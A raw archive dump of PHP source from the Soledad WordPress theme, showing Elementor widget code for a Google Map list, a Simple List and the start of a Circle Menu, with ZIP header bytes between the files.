				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'marker_title'   => esc_html__( 'PenciDesign', 'soledad' ),
						'marker_place'   => esc_html__( '551 Swanston St Carlton VIC 3053, Australia ', 'soledad' ),
						'marker_phone'   => esc_html__( '+12345678', 'soledad' ),
						'marker_website' => esc_html__( 'https://soledad.pencidesign.net/', 'soledad' ),
					],
				],
				'title_field' => '{{{ marker_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_search',
			[
				'label'     => esc_html__( 'Search', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'gmap_geocode' => 'yes',
				],
			]
		);

		$this->add_control(
			'search_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'search_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'search_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input::placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-search.penci-search-default span'                             => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'search_shadow',
				'selector' => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'search_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->add_responsive_control(
			'search_border_radius',
			[
				'label'      => esc_html__( 'Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'search_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'search_margin',
			[
				'label'      => esc_html__( 'Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-search.penci-search-default .penci-search-input' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'condition'  => [
					'avd_google_map_show_list!' => 'yes',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'searh_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-search.penci-search-default .penci-search-input',
			]
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_content_list',
			[
				'label'     => esc_html__( 'Map List', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'avd_google_map_show_list' => 'yes',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'map_list_background',
				'label'    => esc_html__( 'Backgrund', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-gmap-lists-wrapper',
			]
		);
		$this->add_control(
			'list_item_bd_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-gmap-list-item, {{WRAPPER}} .penci-advanced-map .penci-gmap-lists-wrapper, {{WRAPPER}} .penci-gmap-lists-wrapper .penci-gmap-search-wrapper' => 'border-color: {{VALUE}};',
				],
			]
		);
		$this->add_control(
			'list_item_separator_color',
			[
				'label'     => esc_html__( 'Separator Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-item' => 'border-color: {{VALUE}}',
				],
			]
		);
		$this->add_responsive_control(
			'list_item_separator_width',
			[
				'label'     => esc_html__( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-item' => 'border-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->start_controls_tabs(
			'list_item_tabs'
		);
		$this->start_controls_tab(
			'list_item_tab_title',
			[
				'label' => esc_html__( 'Title', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-title' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-title',
			]
		);

		$this->end_controls_tab();
		$this->start_controls_tab(
			'list_item_tab_place',
			[
				'label' => esc_html__( 'Place', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_place_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-place' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_place_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-place',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'list_item_tab_phone',
			[
				'label' => esc_html__( 'Phone', 'soledad' ),
			]
		);
		$this->add_control(
			'list_item_phone_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-phone' => 'color: {{VALUE}}',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'list_item_phone_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advanced-map .penci-gmap-list-content .penci-phone',
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}

	public function render() {
		$settings = $this->get_settings_for_display();
		$id       = 'penci-advanced-gmap-' . $this->get_id() . '-' . rand( 10, 100 );

		if ( $settings['gmap_geocode'] === 'yes' && $settings['avd_google_map_show_list'] !== 'yes' ): ?>

            <div class="penci-gmap-search-wrapper penci-margin">
                <form method="post" id="<?php echo esc_attr( $id ); ?>form" class="penci-search penci-search-default">
                    <span data-penci-search-icon></span>
                    <input id="<?php echo esc_attr( $id ); ?>address" name="address" class="penci-search-input"
                           type="search"
                           placeholder="<?php echo ! empty( $settings['search_placeholder_text'] ) ? esc_html( $settings['search_placeholder_text'] ) : 'Search...'; ?>">
                </form>
            </div>

		<?php endif;
		$this->add_render_attribute( 'penci-advanced-map', 'class', 'penci-advanced-map' );
		if ( ( $settings['avd_google_map_show_list'] == 'yes' ) ):
			$this->add_render_attribute( 'penci-advanced-map', 'class', [ 'penci-direction-' . $settings['avd_google_map_list_position'] . '' ] );
		endif;
		if ( ( $settings['avd_google_map_show_list'] == 'yes' ) && ( $settings['gmap_geocode'] == 'yes' ) ):
			$this->add_render_attribute( 'penci-advanced-map', 'class', [ 'penci-has-lists-search-' . $settings['avd_google_map_show_list'] . '' ] );
		endif;
		?>
        <div <?php $this->print_render_attribute_string( 'penci-advanced-map' ); ?>>
            <div class="penci-grid-wrap">
                <div class="penci-advanced-map-wrapper">
					<?php
					$map_zoom = isset( $settings['avd_google_map_default_zoom']['size'] ) ? (int) $settings['avd_google_map_default_zoom']['size'] : 15;
					$map_type = 'road';
					foreach ( $settings['marker'] as $map_list => $marker_item ) {
						$mapclass    = 0 == $map_list ? 'active' : 'inactive';
						$block_id    = 'penci_map_a_' . $map_list;
						$map_address = isset( $marker_item['marker_place'] ) ? $marker_item['marker_place'] : '';
						$params      = [
							rawurlencode( $map_address ),
							absint( $map_zoom ),
							esc_attr( $map_type ),
						];
						$map_url     = 'https://maps.google.com/maps?q=%1$s&amp;t=m&amp;z=%2$d&amp;output=embed&amp;iwloc=near&amp;maptype=%3$s';
						$map_url     = esc_url( vsprintf( $map_url, $params ) );
						$css_class   = 'penci-block-vc penci-lazy no-api';
						printf( '<div class="' . $mapclass . ' penci_admap_item penci_admap_' . $map_list . '"><iframe id="%s" class="%s" data-src="%s"></iframe></div>', $block_id, $css_class, $map_url );
					}
					?>
                </div>
				<?php if ( $settings['avd_google_map_show_list'] === 'yes' ): ?>
                    <div class="penci-gmap-lists-wrapper">
						<?php if ( $settings['gmap_geocode'] === 'yes' ): ?>
                            <div class="penci-gmap-search-wrapper">
                                <form class="penci-search penci-search-default">
                                    <div class="search-box">
                                        <input type="text"
                                               placeholder="<?php echo ! empty( $settings['search_placeholder_text'] ) ? esc_html( $settings['search_placeholder_text'] ) : 'Search Places'; ?>"
                                               class="penci-search-input"/>
                                    </div>
                                </form>
                            </div>
						<?php endif; ?>
                        <ul class="penci-gmap-lists">
							<?php
							foreach ( $settings['marker'] as $index => $marker_item ) {
								?>
                                <div class="penci-gmap-list-item" data-index="penci_admap_<?php echo $index; ?>">
                                    <div class="penci-gmap-list-content">
                                        <h5 class="penci-title"><?php echo esc_html__( $marker_item['marker_title'], 'soledad' ); ?></h5>
                                        <span class="penci-place"><?php echo esc_html__( $marker_item['marker_place'], 'soledad' ); ?></span>
										<?php if ( isset($marker_item['marker_phone']) && $marker_item['marker_phone'] ) : ?>
                                        <span class="penci-phone"><?php echo esc_html__( $marker_item['marker_phone'], 'soledad' ); ?></span>
										<?php endif; ?>
                                    </div>
                                </div>
								<?php
							};
							?>
                        </ul>
                    </div>
				<?php endif; ?>
            </div>
        </div>
		<?php
	}
}PK     1w\&*K:    .  elementor/modules/penci-simple-list/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSimpleList;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-simple-list';
	}

	public function get_widgets() {
		return array( 'PenciSimpleList' );
	}
}
PK     1w\qw02  02  A  elementor/modules/penci-simple-list/widgets/penci-simple-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSimpleList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciSimpleList extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_simple_list';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Simple List', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-editor-list-ul';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since  1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);
		
		$this->add_control(
			'align',
			[
				'label'   => esc_html__( 'Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'left'   => esc_attr__( 'Left', 'soledad' ),
					'right'  => esc_attr__( 'Right', 'soledad' ),
					'center' => esc_attr__( 'Center', 'soledad' ),
				],
				'default' => 'left',
			]
		);
		
		$this->add_control(
			'list_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'icon'      => esc_html__( 'With icon', 'soledad' ),
					'ordered'   => esc_html__( 'Ordered', 'soledad' ),
					'unordered' => esc_html__( 'Unordered', 'soledad' ),
					'without'   => esc_html__( 'Without icon', 'soledad' ),
				],
				'default' => 'icon',
			]
		);

		$this->add_control(
			'icon',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'fa-solid',
				],
				'condition' => [
					'list_type' => [ 'icon' ],
				],
			]
		);
		
		$this->add_control(
			'icon_pos',
			[
				'label'   => esc_html__( 'Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'left'   => esc_attr__( 'Left', 'soledad' ),
					'right'  => esc_attr__( 'Right', 'soledad' ),
				],
				'default' => 'left',
				'condition' => [
					'list_type' => [ 'icon', 'unordered' ],
				],
			]
		);
		
		$this->add_responsive_control(
			'icon_space', array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-iconp-left li .list-icon, {{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .penci-iconp-right li .list-icon, .penci-simplelist.penci-iconp-right.penci-simplelist-type-unordered li:before' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => [
					'list_type' => [ 'icon', 'unordered' ],
				],
			)
		);
		
		$this->add_responsive_control(
			'spacing', array(
				'label'     => __( 'Spacing Between Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-simplelist li' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);
		
		$this->end_controls_section();
		
		$this->start_controls_section(
			'list_items_section',
			[
				'label' => esc_html__( 'List Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'list_icon',
			[
				'label'   => esc_html__( 'Custom Icon', 'soledad' ),
				'type'    => Controls_Manager::ICONS,
			]
		);

		$repeater->add_control(
			'list_content',
			[
				'label'   => esc_html__( 'Content', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => 'Far far away there live the blind live in Bookmarksgrove right.',
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'description' => esc_html__( 'Enter URL if you want this text to have a link.', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'default'     => [
					'url'         => '',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$this->add_control(
			'list_items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ list_content }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'list_content' => 'Cottage cheese the big cheese hard cheese',
					],
					[
						'list_content' => 'Croque monsieur when the cheese comes out everybody.',
					],
					[
						'list_content' => 'Cut the cheese.',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_typo',
				'label'    => __( 'List Typography', 'soledad' ),
				'selector' => '.post-entry {{WRAPPER}} li',
			)
		);

		$this->add_control(
			'text_color',
			[
				'label'     => esc_html__( 'Text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'text_color_hover',
			[
				'label'     => esc_html__( 'Text color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Icon settings.
		 */
		$this->start_controls_section(
			'icon_style_section',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'list_type!' => [ 'without' ],
				],
			]
		);

		$this->add_control(
			'list_style',
			[
				'label'     => esc_html__( 'Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'default' => esc_html__( 'Default', 'soledad' ),
					'rounded' => esc_html__( 'Circle', 'soledad' ),
					'square'  => esc_html__( 'Square', 'soledad' ),
				],
				'default'   => 'default',
				'condition' => [
					'list_type' => [ 'icon' ],
				],
			]
		);

		$this->add_control(
			'icons_color',
			[
				'label'     => esc_html__( 'Icons color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#2C2C2C',
				'selectors' => [
					'{{WRAPPER}} .list-icon' => 'color: {{VALUE}}',
					'{{WRAPPER}} .list-icon svg' => 'fill: {{VALUE}}',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'color: {{VALUE}}',
				],
				'condition' => [
					'list_type' => [ 'icon', 'ordered', 'unordered' ],
				],
			]
		);

		$this->add_control(
			'icons_color_hover',
			[
				'label'     => esc_html__( 'Icons color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li:hover .list-icon' => 'color: {{VALUE}}',
					'{{WRAPPER}} li:hover .list-icon svg' => 'fill: {{VALUE}}',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:hover:before' => 'color: {{VALUE}}',
				],
				'condition' => [
					'list_type' => [ 'icon', 'ordered', 'unordered' ],
				],
			]
		);

		$this->add_control(
			'icons_bg_color',
			[
				'label'     => esc_html__( 'Icons background color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#EAEAEA',
				'selectors' => [
					'body:not(.pcdm-enable) {{WRAPPER}} .list-icon' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'list_style' => [ 'rounded', 'square' ],
				],
			]
		);

		$this->add_control(
			'icons_bg_color_hover',
			[
				'label'     => esc_html__( 'Icons background color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'body:not(.pcdm-enable) {{WRAPPER}} li:hover .list-icon' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'list_style' => [ 'rounded', 'square' ],
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'     => esc_html__( 'Icon size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 1,
						'max'  => 100,
						'step' => 1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-simplelist .list-icon' => 'font-size: {{SIZE}}{{UNIT}};line-height: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-simplelist .list-icon.svg,{{WRAPPER}} .penci-simplelist .list-icon svg' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'font-size: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'list_type!' => [ 'without' ],
				],
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since  1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'icon'  => '',
			'image' => '',

			'size'  => 'default',
			'align' => 'left',

			'list'       => '',
			'list_type'  => 'icon',
			'list_style' => 'default',
			'list_items' => '',
		];

		$settings    = wp_parse_args( $this->get_settings_for_display(), $default_settings );
		$icon_output = '';

		if ( ! $settings['list_items'] ) {
			return;
		}

		$this->add_render_attribute(
			[
				'list' => [
					'class' => [
						'penci-simplelist',
						'size-' . $settings['size'],
						'penci-simplelist-type-' . $settings['list_type'],
						'penci-simplelist-style-' . $settings['list_style'],
						'penci-justify-' . $settings['align'],
						'penci-iconp-' . $settings['icon_pos'],
					],
				],
			]
		);

		if ( 'rounded' === $settings['list_style'] || 'square' === $settings['list_style'] ) {
			$this->add_render_attribute( 'list', 'class', 'penci-simplelist-shape-icon' );
		}

		if ( 'icon' === $settings['list_type'] && isset($settings['icon']['value']) && $settings['icon']['value'] ) {
			$icon_output = penci_elementor_get_render_icon( $settings['icon'] );
		}
		?>
        <ul <?php echo $this->get_render_attribute_string( 'list' ); ?>>
			<?php foreach ( $settings['list_items'] as $index => $item ) : ?>
				<?php
				$repeater_label_key = $this->get_repeater_setting_key( 'list_content', 'list_items', $index );
				$this->add_render_attribute(
					[
						$repeater_label_key => [
							'class' => [
								'list-content',
							],
						],
					]
				);

				$this->add_inline_editing_attributes( $repeater_label_key );

				// Link settings.
				$item['link']['class'] = 'penci-fill';
				$link_attrs            = penci_el_get_link_attrs( $item['link'] );
				$open_link = $close_link = '';
				if ( !empty($item['link']) ) :
					$open_link = '<a ' . $link_attrs . '>';
					$close_link = '</a>';
				endif;
				?>
                <li class="elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">
					<?php if ( 'icon' == $settings['list_type'] ) :
						$icon_class = isset( $item['list_icon']['library'] ) && $item['list_icon']['library'] ? $item['list_icon']['library'] : 'normal';
						?>
                        <span class="list-icon <?php echo $icon_class;?>">
							<?php
							if ( isset( $item['list_icon']['value'] ) && $item['list_icon']['value'] ) {
								echo penci_elementor_get_render_icon( $item['list_icon'] );
							} else {
								echo $icon_output;
							}
							?>
						</span>
					<?php endif ?>
					<?php echo $open_link; ?>
                    <span <?php echo $this->get_render_attribute_string( $repeater_label_key ); ?>>
						<?php echo $item['list_content']; ?>
					</span>
					<?php echo $close_link; ?>
                </li>
			<?php endforeach ?>
        </ul>

		<?php
	}
}
PK     1w\X  X  .  elementor/modules/penci-circle-menu/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCircleMenu;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-circle-menu';
	}

	public function get_widgets() {

		return ['PenciCircleMenu'];
	}
}
PK     1w\`o߄  ߄  A  elementor/modules/penci-circle-menu/widgets/penci-circle-menu.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCircleMenu\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciCircleMenu extends Base_Widget {
	public function get_name() {
		return 'penci-circle-menu';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Circle Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-plus-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'circle', 'menu', 'rounded' ];
	}

	public function get_style_depends() {
		return [ 'penci-circle-menu' ];
	}

	public function get_script_depends() {
		return [ 'penci-circle-menu' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_iconnav',
			[
				'label' => esc_html__( 'Circle Menu', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon',
			[
				'label'       => esc_html__( 'Choose Toggle Icon', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => true,
				'options'     => [
					'plus'        => [
						'title' => esc_html__( 'Plus', 'soledad' ),
						'icon'  => 'fas fa-plus',
					],
					'plus-circle' => [
						'title' => esc_html__( 'Plus Circle', 'soledad' ),
						'icon'  => 'fas fa-plus-circle',
					],
					'close'       => [
						'title' => esc_html__( 'Close', 'soledad' ),
						'icon'  => 'fas fa-times',
					],
					'cog'         => [
						'title' => esc_html__( 'Settings', 'soledad' ),
						'icon'  => 'fas fa-cog',
					],
					'menu'        => [
						'title' => esc_html__( 'Bars', 'soledad' ),
						'icon'  => 'fas fa-bars',
					],
					'custom'      => [
						'title' => esc_html__( 'Custom', 'soledad' ),
						'icon'  => 'fas fa-edit',
					],
				],
				'default'     => 'plus',
			]
		);

		$this->add_control(
			'custom_icon',
			[
				'label'       => esc_html__( 'Custom Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'default'     => [
					'value'   => 'far fa-times-circle',
					'library' => 'fa-regular',
				],
				'condition'   => [
					'toggle_icon' => 'custom',
				],
				'label_block' => false,
				'skin'        => 'inline',
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Menu Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'dynamic' => [ 'active' => true ],
				'default' => 'Home',
			]
		);

		$repeater->add_control(
			'circle_menu_icon',
			[
				'label'            => esc_html__( 'Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'icon',
				'default'          => [
					'value'   => 'fas fa-home',
					'library' => 'fa-solid',
				],
				'label_block'      => false,
				'skin'             => 'inline',
			]
		);

		$repeater->add_control(
			'iconnav_link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'default'     => [ 'url' => '#' ],
				'dynamic'     => [ 'active' => true ],
				'description' => 'Add your section id WITH the # key. e.g: #my-id also you can add internal/external URL',
			]
		);

		$repeater->add_control(
			'custom_style_popover',
			[
				'label'        => esc_html__( 'Custom Style', 'soledad' ),
				'type'         => Controls_Manager::POPOVER_TOGGLE,
				'render_type'  => 'ui',
				'return_value' => 'yes',
			]
		);

		$repeater->start_popover();

		$repeater->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui a'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui a svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover a'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover a svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_background_color',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui' => 'background: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_hover_background_color',
			[
				'label'     => esc_html__( 'Hover Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover' => 'background: {{VALUE}};',
				],
			]
		);

		$repeater->end_popover();

		$this->add_control(
			'circle_menu',
			[
				'label'       => esc_html__( 'Circle Menu Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-home', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Home', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-shopping-bag', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Products', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-wrench', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Settings', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-book', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Documentation', 'soledad' ),
					],
					[
